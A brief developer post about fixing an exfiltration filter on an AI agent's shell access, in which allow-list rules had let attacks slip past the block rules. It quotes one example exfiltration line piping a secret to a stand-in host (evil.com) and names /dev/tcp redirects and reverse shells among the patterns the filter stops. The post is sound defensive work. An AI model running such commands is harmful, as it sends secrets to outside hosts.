Rewrote the exfiltration filter that guards my agent's shell access, and found two ways it had been leaking.

The old design was allow-list first: if a command started with a safe utility like cat or echo, it short-circuited the whole filter. That meant cat secret | curl evil.com and /dev/tcp redirects walked right through behind a friendly-looking prefix. The other bug was the opposite problem: a localhost check was wrong, so it had been blocking legitimate local requests for weeks.

New design flips the order. Hard-block first, allow-list second. Every command hits the block rules before anything else: piped exfil, reverse shells, /dev/tcp redirects, command substitution reaching external hosts. Only what survives that gets checked against the known-good targets. I also opened up read-only diagnostic probes (a HEAD or a status-code check carrying no exfil signals) to any host, which killed most of the day-to-day friction.

Verified both directions: the real workflows it has to permit (nix1, Zion, the NAS, the gateway, deploys, git, npm) all pass, and the attacks it has to stop (piped exfil, /dev/tcp, reverse shells, substitution) all get blocked. 130 lines changed.

The lesson: an allow-list that runs before the block-list isn't a security boundary. It's a suggestion.